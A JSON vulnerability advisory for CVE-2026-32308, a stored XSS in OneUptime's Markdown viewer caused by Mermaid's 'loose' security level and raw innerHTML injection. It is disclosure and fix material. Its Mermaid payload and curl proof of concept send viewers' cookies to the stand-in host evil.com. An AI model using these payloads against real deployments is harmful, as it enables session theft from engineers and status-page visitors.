{"id":"CVE-2026-32308","aliases":["GHSA-wvh5-6vjm-23qh"],"url":"https://o3.security/vulnerability/CVE-2026-32308","summary":"OneUptime: Stored XSS via Mermaid Diagram Rendering (securityLevel: \"loose\")","details":"### Summary\n\nThe Markdown viewer component renders Mermaid diagrams with `securityLevel: \"loose\"` and injects the SVG output via `innerHTML`. This configuration explicitly allows interactive event bindings in Mermaid diagrams, enabling XSS through Mermaid's `click` directive which can execute arbitrary JavaScript. Any field that renders markdown (incident descriptions, status page announcements, monitor notes) is vulnerable.\n\n### Details\n\n**Mermaid configuration — `Common/UI/Components/Markdown.tsx/MarkdownViewer.tsx:76`:**\n\n```typescript\n// MarkdownViewer.tsx:76\nmermaid.initialize({\n    securityLevel: \"loose\",  // Allows interactive event bindings\n    // ...\n});\n```\n\nThe Mermaid documentation explicitly warns: `securityLevel: \"loose\"` allows click events and other interactive bindings in diagrams. The safe default is `\"strict\"` which strips all interactivity.\n\n**SVG injection via innerHTML — `MarkdownViewer.tsx:106`:**\n\n```typescript\n// MarkdownViewer.tsx:106\nif (containerRef.current) {\n    containerRef.current.innerHTML = svg;  // Raw SVG injection\n}\n```\n\nAfter Mermaid renders the diagram to SVG, the SVG string is injected directly into the DOM via `innerHTML`. Combined with `securityLevel: \"loose\"`, this allows event handlers embedded in the SVG to execute.\n\n**Mermaid XSS payload:**\n\n```markdown\n```mermaid\ngraph TD\n    A[\"Click me\"]\n    click A callback \"javascript:fetch('https://evil.com/?c='+document.cookie)\"\n```​\n```\n\nWith `securityLevel: \"loose\"`, Mermaid processes the `click` directive and creates an SVG element with an event handler that executes the JavaScript.\n\n### PoC\n\n```bash\n# Authenticate\nTOKEN=$(curl -s -X POST 'https://TARGET/identity/login' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"email\":\"user@example.com\",\"password\":\"password123\"}' \\\n  | jq -r '.token')\n\n# Create an incident note with Mermaid XSS payload\ncurl -s -X POST 'https://TARGET/api/incident-note' \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H 'Content-Type: application/json' \\\n  -H 'tenantid: PROJECT_ID' \\\n  -d '{\n    \"data\": {\n      \"incidentId\": \"INCIDENT_ID\",\n      \"note\": \"## Root Cause Analysis\\n\\n```mermaid\\ngraph TD\\n    A[\\\"Load Balancer\\\"] --> B[\\\"App Server\\\"]\\n    click A callback \\\"javascript:fetch('\"'\"'https://evil.com/?c='\"'\"'+document.cookie)\\\"\\n```\",\n      \"noteType\": \"RootCause\"\n    }\n  }'\n\n# Any user viewing this incident note will have their cookies exfiltrated\n```\n\n```bash\n# Verify the vulnerability in source code:\n\n# 1. securityLevel: \"loose\":\ngrep -n 'securityLevel' Common/UI/Components/Markdown.tsx/MarkdownViewer.tsx\n# Line 76: securityLevel: \"loose\"\n\n# 2. innerHTML injection:\ngrep -n 'innerHTML' Common/UI/Components/Markdown.tsx/MarkdownViewer.tsx\n# Line 106: containerRef.current.innerHTML = svg\n```\n\n### Impact\n\n**Stored XSS in any markdown-rendered field.** Affects:\n\n1. **Incident notes/descriptions** — viewed by on-call engineers during incidents\n2. **Status page announcements** — viewed by public visitors\n3. **Monitor descriptions** — viewed by team members\n4. **Any markdown field** — the MarkdownViewer component is shared across the UI\n\nThe \"loose\" security level combined with `innerHTML` injection allows arbitrary JavaScript execution in the context of the OneUptime application.\n\n### Proposed Fix\n\n```typescript\n// 1. Change securityLevel to \"strict\" (default safe mode):\nmermaid.initialize({\n    securityLevel: \"strict\",  // Strips all interactive bindings\n    // ...\n});\n\n// 2. Use DOMPurify on the SVG output before innerHTML injection:\nimport DOMPurify from \"dompurify\";\n\nif (containerRef.current) {\n    containerRef.current.innerHTML = DOMPurify.sanitize(svg, {\n        USE_PROFILES: { svg: true, svgFilters: true },\n        ADD_TAGS: ['foreignObject'],\n    });\n}\n```","published":"2026-03-12T21:29:00.510Z","modified":"2026-08-12T03:51:27.978576037Z","cvss":{"score":7.6,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"oneuptime","fixedVersion":"10.0.23"}],"fix":null,"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/32xxx/CVE-2026-32308.json"},{"type":"ADVISORY","url":"https://github.com/OneUptime/oneuptime/security/advisories/GHSA-wvh5-6vjm-23qh"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-32308"},{"type":"PACKAGE","url":"https://github.com/OneUptime/oneuptime"},{"type":"WEB","url":"https://github.com/OneUptime/oneuptime/releases/tag/10.0.23"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:27.978576037Z"}}